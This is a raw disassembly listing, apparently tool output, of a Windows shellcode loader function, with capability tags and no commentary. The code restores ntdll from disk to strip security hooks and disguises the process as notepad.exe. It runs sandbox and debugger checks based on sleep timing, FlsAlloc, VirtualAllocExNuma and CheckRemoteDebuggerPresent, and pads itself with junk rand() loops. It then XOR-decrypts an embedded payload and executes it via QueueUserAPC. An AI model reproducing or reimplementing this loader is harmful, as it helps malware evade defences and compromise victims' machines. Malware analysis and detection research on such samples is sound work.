Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x668
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x5d0], xmm6
mov dword [rbp + 0x610], ecx
mov qword [rbp + 0x618], rdx
call fcn.140002ad0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x548], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x540], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x538], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
cmp qword [rbp + 0x5c8], 0
jne 0x14000163e
mov dword [rbp + 0x534], 1
mov ecx, 0xa58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x528], rax
mov qword [rbp + 0x5c0], 2
jmp 0x140001557
mov rax, qword [rbp + 0x5c0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x5c0], 1
cmp qword [rbp + 0x5c0], 0x295
jbe 0x140001530
mov qword [rbp + 0x5c0], 2
jmp 0x1400015ee
mov rax, qword [rbp + 0x5c0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400015e6
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x5b8], rax
jmp 0x1400015cf
mov rax, qword [rbp + 0x5c0]
imul rax, qword [rbp + 0x5b8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x5b8], 1
mov rax, qword [rbp + 0x5c0]
imul rax, qword [rbp + 0x5b8]
cmp rax, 0x295
jbe 0x1400015a0
add qword [rbp + 0x5c0], 1
cmp qword [rbp + 0x5c0], 0x295
jbe 0x140001571
mov rax, qword [rbp + 0x528]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
cmp qword [rbp + 0x5c8], 0
je 0x1400019bd
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x390]
mov rax, qword [rbp + 0x538]
mov r10, qword [rbp + 0x5c8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x520], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x510], rax
mov dword [rbp + 0x5b4], 0xffffffff
mov ecx, 0x1e20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x508], rax
add dword [rbp + 0x5b4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006420]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x508]
add rax, rdx
movsd xmm1, qword [0x140006428]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x508]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5b4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x508]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5b4], 0x3c2
jle 0x140001725
mov rax, qword [rbp + 0x510]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x4f8], rax
mov dword [rbp + 0x5ac], 0xa0
mov dword [rbp + 0x5b0], 0xa0
jmp 0x140001834
sub dword [rbp + 0x5ac], 1
sub dword [rbp + 0x5b0], 1
cmp dword [rbp + 0x5b0], 0x48
jg 0x140001826
mov rax, qword [rbp + 0x4f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x520]
add rax, rdx
mov qword [rbp + 0x4f0], rax
mov word [rbp + 0x5aa], 0
jmp 0x1400019a5
mov rax, qword [rbp + 0x4f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x4f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x5aa]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4e8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001994
mov dword [rbp + 0x358], 0
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x520]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x358]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x500]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x520]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x358]
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x520]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x358]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x5aa]
add eax, 1
mov word [rbp + 0x5aa], ax
mov rax, qword [rbp + 0x4f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x5aa], ax
jb 0x140001869
mov dword [rbp + 0x35c], 0
mov dword [rbp + 0x5a4], 0xffffffff
mov ecx, 0x518
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4e0], rax
mov ecx, 0x518
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4d8], rax
add dword [rbp + 0x5a4], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x5a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5a4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x4d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ac0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5a4], 0xa1
jle 0x1400019f3
mov rax, qword [rbp + 0x548]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4d0], rax
movsd xmm0, qword [0x140006430]
movsd qword [rbp + 0x598], xmm0
movsd xmm0, qword [0x140006438]
movsd qword [rbp + 0x4c8], xmm0
jmp 0x140001b44
movsd xmm0, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x598]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003c70
movq rax, xmm0
mov qword [rbp + 0x598], rax
movsd xmm0, qword [0x140006440]
comisd xmm0, xmmword [rbp + 0x598]
ja 0x140001b1b
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x35c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x4d0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x368]
add rax, 0x3c
mov qword [rbp + 0x4c0], rax
mov rax, qword [rbp + 0x4c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x4c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x4bc], 0x2f1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
call rax
mov dword [rbp + 0x4ac], eax
mov eax, dword [rbp + 0x4bc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x4b0]
call rax
mov dword [rbp + 0x4a8], eax
mov eax, dword [rbp + 0x4a8]
sub eax, dword [rbp + 0x4ac]
cmp eax, 0x2bf
jbe 0x140002a08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x4a0], rax
cmp qword [rbp + 0x4a0], 0
je 0x140001ca0
mov rax, qword [rbp + 0x4a0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov ecx, 0
call rax
mov dword [rbp + 0x594], eax
cmp dword [rbp + 0x594], 0xffffffff
je 0x140002a08
mov qword [rbp + 0x588], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x490], rax
cmp qword [rbp + 0x490], 0
je 0x140001d3a
mov rax, qword [rbp + 0x490]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x488], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x488]
mov r9d, 0x3000
mov r8d, 0x2fd
mov edx, 0
call rax
mov qword [rbp + 0x588], rax
cmp qword [rbp + 0x588], 0
je 0x140002a08
mov dword [rbp + 0x354], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x480], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x354]
mov r8, qword [rbp + 0x480]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x354]
cmp eax, 1
je 0x140002a08
mov dword [rbp + 0x47c], 0x39f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
call rax
mov dword [rbp + 0x46c], eax
mov eax, dword [rbp + 0x47c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x470]
call rax
mov dword [rbp + 0x468], eax
mov eax, dword [rbp + 0x468]
sub eax, dword [rbp + 0x46c]
cmp eax, 0x36d
jbe 0x140002a08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov ecx, 0
call rax
mov dword [rbp + 0x45c], eax
cmp dword [rbp + 0x45c], 0xffffffff
je 0x140002a08
mov qword [rbp + 0x450], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x448], rax
mov rax, qword [rbp + 0x448]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x29afa80
mov ecx, 0
call rax
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x450], 0
je 0x140002a08
mov rax, qword [rbp + 0x450]
mov edx, 0x29afa80
mov rcx, rax
call fcn.1400048e0
mov rax, qword [rbp + 0x450]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x440], rax
mov rax, qword [rbp + 0x440]
call rax
mov dword [rbp + 0x43c], eax
mov ecx, 0x2e0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x440]
call rax
mov dword [rbp + 0x438], eax
mov eax, dword [rbp + 0x438]
sub eax, dword [rbp + 0x43c]
cmp eax, 0x2ae
jbe 0x140002a08
mov ecx, 0x504
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x504
jne 0x140002a08
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x430], rax
cmp qword [rbp + 0x430], 0
je 0x140002a08
mov rax, qword [rbp + 0x430]
mov edx, 0x4eb
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x42c], eax
lea rax, [rbp + 0x70]
lea rdx, [0x140006148]
mov ecx, 0x5a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x540]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x540]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x420]
mov r8d, 0
mov edx, 0x2d5
mov ecx, 0x40000
call rax
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x410]
mov r9, qword [rbp + 0x418]
mov r8d, 0x2d5
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x548]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x400], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x408]
mov r9, qword [rbp + 0x400]
mov r8d, 0x2d5
mov rcx, rax
call r9
mov dword [rbp + 0x580], 0
mov dword [rbp + 0x57c], 0
movabs rax, 0xf0a6a237ad0b3d5
movabs rdx, 0xbfaa8f1cee058ffc
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x3b629df2fd7e4f60
movabs rdx, 0xce5776de9141b3a6
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x11956fbd5d49ce
mov qword [rbp + 0xf], rax
movabs rax, 0xc2f5921d3e952da5
movabs rdx, 0x87bc1a943701534c
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x52960e2c9fdb326e
movabs rdx, 0x836cd52a19c174e5
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x55fe97126e7f158d
movabs rdx, 0xb67488e6e6b88e29
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xacf74703fdab9ab
movabs rdx, 0xd81ea91b79cd219f
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x1b8a5b95d6d81ea9
movabs rdx, 0xbe2ac0ee8917eb
mov qword [rbp + 0x5d], rax
mov qword [rbp + 0x65], rdx
mov dword [rbp + 0x584], 0
jmp 0x14000265b
cmp dword [rbp + 0x580], 0x4b
jne 0x14000232c
mov ecx, 0x308
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3b0], rax
mov dword [rbp + 0x574], 0
mov dword [rbp + 0x3ac], 0
mov dword [rbp + 0x578], 0
jmp 0x140002299
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x578]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x578], 1
cmp dword [rbp + 0x578], 0xc1
jle 0x14000224d
mov dword [rbp + 0x578], 0
jmp 0x1400022da
mov eax, dword [rbp + 0x578]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x574], eax
add dword [rbp + 0x578], 1
cmp dword [rbp + 0x578], 0xc1
jle 0x1400022b1
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x584]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x580]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x584]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x580], 0
jmp 0x140002654
mov eax, dword [rbp + 0x584]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x580]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x584]
cdqe
mov byte [rbp + rax - 0x40], dl
mov ecx, 0x304
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3d0], rax
mov dword [rbp + 0x56c], 0
mov dword [rbp + 0x568], 0
mov dword [rbp + 0x570], 0
jmp 0x14000242b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x570]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x570]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3d0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400023fa
add dword [rbp + 0x56c], 1
jmp 0x140002424
mov eax, dword [rbp + 0x570]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3d0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002424
add dword [rbp + 0x568], 1
add dword [rbp + 0x570], 1
cmp dword [rbp + 0x570], 0xc0
jle 0x140002388
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x580], 1
mov ecx, 0x5f28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3c8], rax
mov ecx, 0x5f28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3c0], rax
mov ecx, 0x5f28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3b8], rax
mov dword [rbp + 0x564], 0
jmp 0x140002561
mov dword [rbp + 0x560], 0
jmp 0x14000254d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x564]
cdqe
imul rcx, rax, 0x15c
mov rax, qword [rbp + 0x3c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x560]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x564]
cdqe
imul rcx, rax, 0x15c
mov rax, qword [rbp + 0x3c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x560]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x560], 1
cmp dword [rbp + 0x560], 0x56
jle 0x1400024a2
add dword [rbp + 0x564], 1
cmp dword [rbp + 0x564], 0x45
jle 0x140002493
mov dword [rbp + 0x564], 0
jmp 0x14000261a
mov dword [rbp + 0x560], 0
jmp 0x140002606
mov eax, dword [rbp + 0x564]
cdqe
imul rdx, rax, 0x15c
mov rax, qword [rbp + 0x3c8]
add rdx, rax
mov eax, dword [rbp + 0x560]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x564]
cdqe
imul rdx, rax, 0x15c
mov rax, qword [rbp + 0x3c0]
add rdx, rax
mov eax, dword [rbp + 0x560]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x564]
cdqe
imul rdx, rax, 0x15c
mov rax, qword [rbp + 0x3b8]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x560]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x560], 1
cmp dword [rbp + 0x560], 0x56
jle 0x140002589
add dword [rbp + 0x564], 1
cmp dword [rbp + 0x564], 0x45
jle 0x14000257d
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x584], 1
mov eax, dword [rbp + 0x584]
cmp eax, 0x25
jbe 0x14000220f
mov dword [rbp + 0x584], 0
jmp 0x140002867
cmp dword [rbp + 0x57c], 0x25
jne 0x1400026cf
mov eax, dword [rbp + 0x584]
movsxd rdx, eax
mov rax, qword [rbp + 0x408]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x57c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x584]
movsxd rdx, eax
mov rax, qword [rbp + 0x408]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x57c], 0
jmp 0x140002860
mov dword [rbp + 0x554], 0
mov ecx, 0xd20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3d8], rax
mov dword [rbp + 0x55c], 0
jmp 0x14000277c
mov dword [rbp + 0x558], 0
jmp 0x14000276c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x1a6d01a7
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x4d8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x55c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x3d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x558]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x558], 1
cmp dword [rbp + 0x558], 0x13
jle 0x140002705
add dword [rbp + 0x55c], 1
cmp dword [rbp + 0x55c], 0x29
jle 0x1400026f9
mov dword [rbp + 0x55c], 0
jmp 0x140002803
mov dword [rbp + 0x558], 0
jmp 0x1400027f3
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x554]
mov eax, dword [rbp + 0x55c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3d8]
add rdx, rax
mov eax, dword [rbp + 0x558]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x554], eax
add dword [rbp + 0x558], 1
cmp dword [rbp + 0x558], 0x13
jle 0x1400027a1
add dword [rbp + 0x55c], 1
cmp dword [rbp + 0x55c], 0x29
jle 0x140002795
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x584]
movsxd rdx, eax
mov rax, qword [rbp + 0x408]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x57c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x584]
movsxd rdx, eax
mov rax, qword [rbp + 0x408]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x57c], 1
add dword [rbp + 0x584], 1
cmp dword [rbp + 0x584], 0x2d4
jle 0x140002679
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x540]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3f0], rax
mov rax, qword [rbp + 0x540]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x3f8]
mov r9, qword [rbp + 0x3f0]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0xcb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3e0], rax
mov dword [rbp + 0x550], 0
jmp 0x140002948
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x550]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3e0]
add rax, rdx
movsd xmm1, qword [0x140006420]
divsd xmm0, xmm1
movsd qword [rax], xmm0
